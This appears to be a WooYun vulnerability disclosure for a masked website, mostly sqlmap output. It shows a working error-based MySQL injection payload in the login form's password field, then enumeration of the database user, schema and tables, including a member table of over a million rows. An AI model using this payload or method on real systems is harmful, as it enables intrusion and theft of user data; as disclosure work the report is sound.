WooYun.org

http://**.**.**.**/about/express.php?year=-1 (GET)
http://**.**.**.**/login.php (POST)
txtLoginName=1&txtLoginPwd=2&goClcik=

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: txtLoginPwd
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: txtLoginName=1&txtLoginPwd=2' AND (SELECT 3570 FROM(SELECT COUNT(*)
,CONCAT(0x7176716e71,(SELECT (CASE WHEN (3570=3570) THEN 1 ELSE 0 END)),0x717871
6971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
 'eNiX'='eNiX&goClcik=
---
[13:55:40] [INFO] testing MySQL
[13:55:40] [INFO] confirming MySQL
[13:55:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2, PHP 5.5.19
back-end DBMS: MySQL >= 5.0.0
[13:55:41] [INFO] fetching current user
[13:55:41] [INFO] resumed: wwwscient_scient@localhost
current user:    'wwwscient_scient@localhost'
[13:55:41] [INFO] fetching current database
[13:55:41] [INFO] resumed: wwwscient_scient
current database:    'wwwscient_scient'
[13:55:41] [INFO] testing if current user is DBA
[13:55:41] [INFO] fetching current user
current user is DBA:    False
available databases [2]:
[*] information_schema
[*] wwwscient_scient
Database: wwwscient_scient
+------------------+---------+
| Table            | Entries |
+------------------+---------+
| member2013       | 1033281 |
| mononlining      | 9395    |
| dzhufu           | 549     |
| tn_sys_lang      | 427     |
| news             | 290     |
| babylife         | 192     |
| dnews            | 154     |
| db_photo         | 59      |
| products_quality | 51      |
| paperinfo        | 41      |
| menu             | 36      |
| dchina           | 32      |
| products         | 32      |
| babyedu          | 31      |
| aboutus          | 28      |
| assessment       | 28      |
| paperban         | 27      |
| babylifetype     | 26      |
| db_prov          | 23      |
| mononline        | 23      |
| mominfo          | 22      |
| tn_news          | 20      |
| abouttype        | 15      |
| tn_sys_pic       | 14      |
| tn_sys_plus      | 10      |
| manageuser       | 9       |
| roles            | 9       |
| momspeak         | 8       |
| paperyeas        | 8       |
| dclass           | 7       |
| usereport        | 7       |
| mononlinetype    | 6       |
| producttype      | 6       |
| tn_sys_var       | 6       |
| productage       | 5       |
| activities       | 4       |
| babyedutype      | 4       |
| mominfotype      | 3       |
| tn_award         | 3       |
| tn_user          | 2       |
| db_admin         | 1       |
| newstype         | 1       |
| tn_serialnum     | 1       |
| tn_sys_admin     | 1       |
+------------------+---------+